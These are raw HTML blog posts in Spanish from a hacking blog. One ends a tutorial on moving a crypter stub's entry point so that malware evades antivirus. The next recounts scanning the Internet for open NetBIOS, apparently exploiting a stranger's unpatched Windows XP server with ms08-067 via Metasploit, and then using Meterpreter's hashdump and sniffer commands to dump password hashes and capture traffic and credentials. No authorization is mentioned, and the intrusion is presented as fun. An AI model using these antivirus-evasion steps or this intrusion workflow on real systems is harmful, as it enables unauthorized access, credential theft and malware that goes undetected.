<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi89JPGB8LJnq6wooBd5gLeg2XOMcrksfqMMArhm6bpuOR2GgKGz4VERQBw2ImK8EgOMyQ4piT4wZA-pPXyOOpRfQcQpwO3Y1B4XhpX3yajefCiRHWHRTZPGBO5jG02A1W2XDC7u02r9asD/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi89JPGB8LJnq6wooBd5gLeg2XOMcrksfqMMArhm6bpuOR2GgKGz4VERQBw2ImK8EgOMyQ4piT4wZA-pPXyOOpRfQcQpwO3Y1B4XhpX3yajefCiRHWHRTZPGBO5jG02A1W2XDC7u02r9asD/s640/Moviendo%252Bel%252BEntry%252BPoint%252B3.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Bajaremos hasta la zona de la memoria donde no se encuentren
instrucciones, en la cual podremos introducir nuestro código sin romper el
ejecutable.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeCLtRCuoQSwHrrxGh1MDsOrOOwvQUNOa0Nd0icOBx8bqYN1ekXWlLyLGqZxA95v6ttZKglAC44kvaTC3CQ5m8uAA1laaR2pd2UWMdh07TuGpa4GwhGfR8cFwBrP_cdoMuugb6vWFhNG1n/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeCLtRCuoQSwHrrxGh1MDsOrOOwvQUNOa0Nd0icOBx8bqYN1ekXWlLyLGqZxA95v6ttZKglAC44kvaTC3CQ5m8uAA1laaR2pd2UWMdh07TuGpa4GwhGfR8cFwBrP_cdoMuugb6vWFhNG1n/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B4.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Seguidamente, introduciremos las dos instrucciones copiadas
del antiguo Entry Point junto con una instrucción de retorno (<b>RETN</b>), la cual
puede ser sustituida con un <b>JMP </b>como hicimos con el <b>método RIT</b>. Guardaremos el número de la izquierda marcado en rojo, donde
se indica la nueva dirección de memoria, desde la cual partirá la ejecución de
la aplicación.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0VT_nAPr9kRDGSi8ei7Z7gSNdyl7etAQnv-gUjS8ZSbMLuj_L2k4YG3EzCMw0E8Z-Wa6mtYJjSc_8CKI2cGBRoYZjVycO1TdYllpKjXCltpkywShVZo4T257mc8p5HFR_aNtpduYKfVrE/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0VT_nAPr9kRDGSi8ei7Z7gSNdyl7etAQnv-gUjS8ZSbMLuj_L2k4YG3EzCMw0E8Z-Wa6mtYJjSc_8CKI2cGBRoYZjVycO1TdYllpKjXCltpkywShVZo4T257mc8p5HFR_aNtpduYKfVrE/s640/Moviendo%252Bel%252BEntry%252BPoint%252B5.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Nos dirigiremos a "Copy to executable > All modifications",
para guardar nuestro nuevo Stub.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPIIj_dT2-s3GMaNbgEQexFeh8s_CQaCrQKmjuEWTqRVixhEnL2-erzRNjFbsbuaNI7GM8EdnUB_a9JUBmV6TG_Vy20mYgCmQSijQN0UYMLznmmEJsc7iZG4TxtF1OmrYw6pG96VmgNVJk/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="552" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPIIj_dT2-s3GMaNbgEQexFeh8s_CQaCrQKmjuEWTqRVixhEnL2-erzRNjFbsbuaNI7GM8EdnUB_a9JUBmV6TG_Vy20mYgCmQSijQN0UYMLznmmEJsc7iZG4TxtF1OmrYw6pG96VmgNVJk/s640/Moviendo%252Bel%252BEntry%252BPoint%252B7.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Con todo esto realizado, tan solo nos queda utilizar un
editor de cabeceras PE, como <b>LordPE</b>
para realizar el cambio a la dirección del nuevo Entry Point. Incluiremos los
últimos 4 dígitos de la dirección, generaremos el nuevo Checksum del archivo y
guardaremos los cambios.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT3gAbJ35pobumytpihB1kqlFTZPHGHLvkSOD50dy2R-d4NtXwJWRY587JSX-1mcVW4bDR1_Gzg38bMsuhOYA4X_XIxN4eQNNkjZsznsMbl_eXWtz4cDpTbdIabVl3zsBBqMS9Dca7pQPd/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="259" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT3gAbJ35pobumytpihB1kqlFTZPHGHLvkSOD50dy2R-d4NtXwJWRY587JSX-1mcVW4bDR1_Gzg38bMsuhOYA4X_XIxN4eQNNkjZsznsMbl_eXWtz4cDpTbdIabVl3zsBBqMS9Dca7pQPd/s640/Moviendo%252Bel%252BEntry%252BPoint%252B8.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Podemos comprobar que la migración se hizo correctamente,
introduciendo de nuevo el Stub en Olly.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH0MiWNpBCT_KSA2m8uQZjsjqHThgcWlcwGRlmo7F6j5zRkQEy9zO1VOSLtus11bJW6FpjcMyhqgdLPBHFCQry4SSTxbO3B-Q7JVljCc7Gql8P_ZUeODg2WH5mb1Amd1MVoLb8vwW8KY5O/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH0MiWNpBCT_KSA2m8uQZjsjqHThgcWlcwGRlmo7F6j5zRkQEy9zO1VOSLtus11bJW6FpjcMyhqgdLPBHFCQry4SSTxbO3B-Q7JVljCc7Gql8P_ZUeODg2WH5mb1Amd1MVoLb8vwW8KY5O/s640/Moviendo%252Bel%252BEntry%252BPoint%252B9.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tan solo faltaría introducir el Stub, dentro del Crypter de
nuevo utilizando <b>Resource Hacker</b>, reemplazando el original <b>CUSTOM/101</b> por el
nuestro. La zona marcada en negro, son las dos instrucciones migradas y <b>C3</b> el <b>RETN</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-VIXA08AOp-t67ZmPWrCin8TCNSgUg2ykgHBjs1EuaIQfGZnm1BAlo7TOHclUoIjnjHitp2L5xk_r2yhLe8qelhybXi9vg9XvAZ_XkUXpc_Qp3wHMT-sy5qljLASZ281wQdw5fX5EH578/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-VIXA08AOp-t67ZmPWrCin8TCNSgUg2ykgHBjs1EuaIQfGZnm1BAlo7TOHclUoIjnjHitp2L5xk_r2yhLe8qelhybXi9vg9XvAZ_XkUXpc_Qp3wHMT-sy5qljLASZ281wQdw5fX5EH578/s640/Moviendo%252Bel%252BEntry%252BPoint%252B10.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Comparando con un editor hexadecimal el Crypter BPC original,
con el nuestro, encontraremos el cambio justo en la zona donde introducimos las
instrucciones.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXu01IfNFlKMAIv4XNqIIqvXJVW2eqs6um9aZjL_Ch3lHy20BROSQOGk_gkpNY9AOhW-3OfZMk30aDDghR_sRxdufbvScL5z7qLeSU0RTMogOoca6lDSSNod60kbmyNHdEH78fueqayKi/s1600/Moviendo%252Bel%252BEntry%252BPoint%252Bfinal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXu01IfNFlKMAIv4XNqIIqvXJVW2eqs6um9aZjL_Ch3lHy20BROSQOGk_gkpNY9AOhW-3OfZMk30aDDghR_sRxdufbvScL5z7qLeSU0RTMogOoca6lDSSNod60kbmyNHdEH78fueqayKi/s640/Moviendo%252Bel%252BEntry%252BPoint%252Bfinal.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Con lo que ya estará preparado para pasar desapercibido a unos
pocos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2MZ5BP0tSeWl3KdSkdFY4GEA5hp08bjUXBHh7TQbBztnxAAQkRAkj5-LqGr0OBUCAmFVrXnQAYnS54AGdBcoVI2PU1TfrHQQPIf2Otx0yKXuQRTL8w6rJEe8FgCAa5Mg8XGE-qlyXvHW_/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2MZ5BP0tSeWl3KdSkdFY4GEA5hp08bjUXBHh7TQbBztnxAAQkRAkj5-LqGr0OBUCAmFVrXnQAYnS54AGdBcoVI2PU1TfrHQQPIf2Otx0yKXuQRTL8w6rJEe8FgCAa5Mg8XGE-qlyXvHW_/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B12.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com7tag:blogger.com,1999:blog-2707641124274171597.post-490982056780279672012-12-17T00:01:00.000+01:002012-12-17T00:01:31.576+01:00Meterpreter: El avión de combate.<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tenía que sacar tiempo de la chistera o de donde fuese, al menos
para dejar rastro de mí antes de empezar el 2013, inclusivamente antes de que
el calendario Maya se terminase y tuviese que perrear el resto del año hasta
que nuevas ideas llegasen.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Reinventar la rueda a veces funciona, sino díganselo a Rajoy
y su rescate, aunque solo para el bolsillo de unos pocos, en este caso vengo
cargado de hacking a la vieja usanza, aunque con tintes nuevos de la saga a la
que no hago normalmente alusión en el blog, tan solo cuando se me ocurre no
dejar atrás al <a href="http://www.enelpc.com/2011/12/autopwn-deprecated-busquemos-al-conejo.html">desechado
Autopwn</a>, o como la chapuza de <a href="http://www.enelpc.com/2011/02/como-cargo-mi-malware-de-payload-en-un.html">incluir
nuestro propio malware, como payload de un PDF</a>, para explotar una
vulnerabilidad en Adobe Reader, desde una de las dos herramientas más potentes
de Microsoft, el Bloc de notas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que esta vez, se me ocurrió barrer literalmente Internet
en busca del temido <b>NetBIOS</b><i>, ¡uoooooooh! </i>Diran…
<i>¡Ya! ¡Pero yo hago que esto luzca! B)<o:p></o:p></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Puerto <b>139 </b>abierto por todas partes, y fácil en
este juego era de encontrarse con uno de los ejemplos, en los que Dios pega más
de dos veces.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2O_OrXC2UsGwuHNvYJ0VkMHCuxZCibqQMe912lGbAeU3Ai5tqa_524aTSmrYE3szSQ8gx5o6lYJyEhcgzhlTRG9Lpo7uG1QwuaifYMoqhsIsR0fENJEYnQ89gOCgOCP4-zL3bpldVenW/s1600/1%252BCompartidas%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2O_OrXC2UsGwuHNvYJ0VkMHCuxZCibqQMe912lGbAeU3Ai5tqa_524aTSmrYE3szSQ8gx5o6lYJyEhcgzhlTRG9Lpo7uG1QwuaifYMoqhsIsR0fENJEYnQ89gOCgOCP4-zL3bpldVenW/s640/1%252BCompartidas%252Benelpc.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Disco <b>C </b>y <b>D </b>compartidos, <i>¡nada nuevo!</i>, pero me atrevería a
decir que más de dos “H-ostias” le llovieron de Dios y… <i>¡sin abrir la boca!</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Más perdido que Alicia en el país de las maravillas,
encontré al conejo de nuevo, ya que no podía pasar por alto la magia que nos
dejó <b>Conficker </b>con su <b>ms08-067</b>… y ya que estamos, <i>¿Por qué no prender la mecha?</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNispk1q0xUFkQlLkcwWa889HbIyRlTzZgiLSC86NvwAByLyfAap50-dmtSTaUfiR03yX59Sh6OYWovsHayDx0rglWqRJlhHm2hW8MxsPMDTmZ2OcqSde_2I5hI_tKZkMGs98pYjvG0pWg/s1600/2%252Bnetapi%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNispk1q0xUFkQlLkcwWa889HbIyRlTzZgiLSC86NvwAByLyfAap50-dmtSTaUfiR03yX59Sh6OYWovsHayDx0rglWqRJlhHm2hW8MxsPMDTmZ2OcqSde_2I5hI_tKZkMGs98pYjvG0pWg/s1600/2%252Bnetapi%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Este exploit se encuentra con un script de chequeo, para comprobar
si el objetivo es vulnerable con “check”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWNvKX1IGF2OJ7lqNtonvfDR3US_DcsvDPs5AHn2OsDv9YCeg13UPwftlijH-ylSSv75CsF6YCqGRrHZRzUrhRnBHh98jdhWLV_wN-6lGuT0UZKfLyZ4_izlY_jEzVZPY-Ixm10G5befsT/s1600/3%252Bcheck%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWNvKX1IGF2OJ7lqNtonvfDR3US_DcsvDPs5AHn2OsDv9YCeg13UPwftlijH-ylSSv75CsF6YCqGRrHZRzUrhRnBHh98jdhWLV_wN-6lGuT0UZKfLyZ4_izlY_jEzVZPY-Ixm10G5befsT/s1600/3%252Bcheck%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Que alegría nos da el verde Heineken visto desde Metasploit.
Así que “exploit” y…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy7vt1kyiT02AHlC_du51LBfjUSmhxW60IsnrZWoG1-ZbTzjotFwLfw5dh5wxe3L_Qjc9WO09Ck1wPkLgZbuWqQCdB7MXb429jaYzxKpB-QOyCvfDmdl67ZuWjURQ1wLaoKMaVA6oFB20y/s1600/4%252Bexploit%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy7vt1kyiT02AHlC_du51LBfjUSmhxW60IsnrZWoG1-ZbTzjotFwLfw5dh5wxe3L_Qjc9WO09Ck1wPkLgZbuWqQCdB7MXb429jaYzxKpB-QOyCvfDmdl67ZuWjURQ1wLaoKMaVA6oFB20y/s640/4%252Bexploit%252Benelpc.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b>Meterpreter </b>es un avión de combate sin lugar a duda, todo lo
que nos ofrece actualmente el malware más sofisticado, este payload que por
defecto lidera <b>Metasploit</b>, lo incluye con creces y arrasa. Con el comando “getuid”,
sobre la consola que nos devuelve Meterpreter, la sorpresa al conseguir un
acceso desde este tipo de exploits es grata.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg56zkedIoklTji7sWh6Z5W-hRPoSH-txw2xe2MnRO0r797m_f_SdZi7KcZNZsN5fiSVUseKyWdkm4b5PX-xsetxV4Bgk8KSx3Hp6RbvGaK6spNpiS6n2-TbmZiY6ukXy2WgyAOGy94EtUq/s1600/5%252BSYSTEM%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg56zkedIoklTji7sWh6Z5W-hRPoSH-txw2xe2MnRO0r797m_f_SdZi7KcZNZsN5fiSVUseKyWdkm4b5PX-xsetxV4Bgk8KSx3Hp6RbvGaK6spNpiS6n2-TbmZiY6ukXy2WgyAOGy94EtUq/s1600/5%252BSYSTEM%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Privilegio de sistema, pan comido, la explotación de hashes
LM sería tarea sencilla después de hacer uso de otro de los comandos conocidos,
“hashdump”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0zLMvFK67BQW1mdcvjYnDmv3ZWz_H-r1LA4FRw2Kp9n8Cr2IeFYmW9tnHQ27NSBWiP-eH_krt-yC5eq5phCtEN0rbBS0wNXB1p1Q7IJgBf4RWNd58OBJSFNZ7rPayfIo6AKPP1prgbYIp/s1600/6%252Bhashdump%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0zLMvFK67BQW1mdcvjYnDmv3ZWz_H-r1LA4FRw2Kp9n8Cr2IeFYmW9tnHQ27NSBWiP-eH_krt-yC5eq5phCtEN0rbBS0wNXB1p1Q7IJgBf4RWNd58OBJSFNZ7rPayfIo6AKPP1prgbYIp/s640/6%252Bhashdump%252Benelpc.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sí os dijera que una máquina servidora montada con <b>Windows
Xp</b>, sin parches de actualización tiene el <b>RDP </b>abierto, no os engañaría… lástima
que los <b>hashes </b>estén en blanco.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otra de las cosas que tira por los suelos al malware, es sin
duda la complejidad y el tiempo para hacer indetectable un ejecutable malicioso
a los antivirus, y es que al inyectarse directamente en memoria, pocos
antivirus se tiran al barro con tal de no incrementar los falsos positivos…
sino creen en la compleja tarea por antivirus evadido, revisen los métodos <a href="http://www.enelpc.com/2012/02/metodo-rit-el-inmortal.html"><b>RIT</b></a> y <a href="http://www.enelpc.com/2011/12/metodo-daf-evolution-by-4n0nym0us.html"><b>DAFe</b></a>.
<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhygx-iXJeeBPNpk9iRleUb26ZfRegAkYK8jUf-4byMkJg5CT3nTWupavi6T9O4vOiH2lTlHWVhdbavPofbAFUjZR9YzYq8kCIVvJLt5KPTY54NvdjEDimCD4C6hwg93-yU-_tuvfkYth6X/s1600/7%252Bprocesos%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhygx-iXJeeBPNpk9iRleUb26ZfRegAkYK8jUf-4byMkJg5CT3nTWupavi6T9O4vOiH2lTlHWVhdbavPofbAFUjZR9YzYq8kCIVvJLt5KPTY54NvdjEDimCD4C6hwg93-yU-_tuvfkYth6X/s640/7%252Bprocesos%252Benelpc.png" width="598" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otro de los módulos interesantes de los que nos provee Meterpreter,
es la función sniffer. Podremos capturar tráfico directamente desde la máquina
vulnerada, escribiendo en consola “load sniffer” o “sniffer”. Al cargarse el
módulo, estará a nuestra disposición desde el “help”, para visualizar las
tarjetas disponibles y empezar la captura, incluyendo el número de paquetes que
se desean capturar.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCycTPgylG_zlu7DtT-mr90W7_N6cPsh-V24sk2XbQla9_LDGq6IMXoLqkm-gSJtoOk3Kri-qa97a5D9YYcACT3NStqXaZsdMPUdiUCE9Vl91fRDS-hSXyjAesCwYAMjwsP8kVL6sasSrP/s1600/8%252BLoad%252BSniffer%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCycTPgylG_zlu7DtT-mr90W7_N6cPsh-V24sk2XbQla9_LDGq6IMXoLqkm-gSJtoOk3Kri-qa97a5D9YYcACT3NStqXaZsdMPUdiUCE9Vl91fRDS-hSXyjAesCwYAMjwsP8kVL6sasSrP/s640/8%252BLoad%252BSniffer%252Benelpc.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para los más impacientes, también tendrán la opción de
visualizar el estado y progreso de la captura con “sniffer_stats” junto con el
número de la interfaz.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNnOMwiV0S-snrO7SziY3GVoG79TWkuWncCyoPuCQtVDCjf19Zqk3mSS45K4bXfDnSjCu3FqoK_2VAZ-FunQGypci0fgkY3C18LgM1S55PYTm-Mw43cqJFKYDhvGU0-kIQjHPvJySyqRpT/s1600/9%252Bestado%252Bsniffer%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNnOMwiV0S-snrO7SziY3GVoG79TWkuWncCyoPuCQtVDCjf19Zqk3mSS45K4bXfDnSjCu3FqoK_2VAZ-FunQGypci0fgkY3C18LgM1S55PYTm-Mw43cqJFKYDhvGU0-kIQjHPvJySyqRpT/s1600/9%252Bestado%252Bsniffer%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y consiguientemente, con “sniffer_dump” la descarga del
<b>PCAP</b>, junto con la interfaz y el nombre de nuestro archivo.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHQuFeYNy_Yp4nndZKXt7IWGmmRRSv350NjmB2e7il5G1ppGpP-as8P1m_2PjkZ5UE4LcBEnj_bFTgJudJdAHTxkBc0-hMMCtY02VUP3DKctqmDRgu5WVWltpZtu5iCFz9Z30Hifie0mSH/s1600/10%252Bdump%252Bsniffer%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHQuFeYNy_Yp4nndZKXt7IWGmmRRSv350NjmB2e7il5G1ppGpP-as8P1m_2PjkZ5UE4LcBEnj_bFTgJudJdAHTxkBc0-hMMCtY02VUP3DKctqmDRgu5WVWltpZtu5iCFz9Z30Hifie0mSH/s1600/10%252Bdump%252Bsniffer%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esto nos será de gran importancia, en caso de querer
visualizar las tareas de red en la máquina, o incluso la captura de
credenciales.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
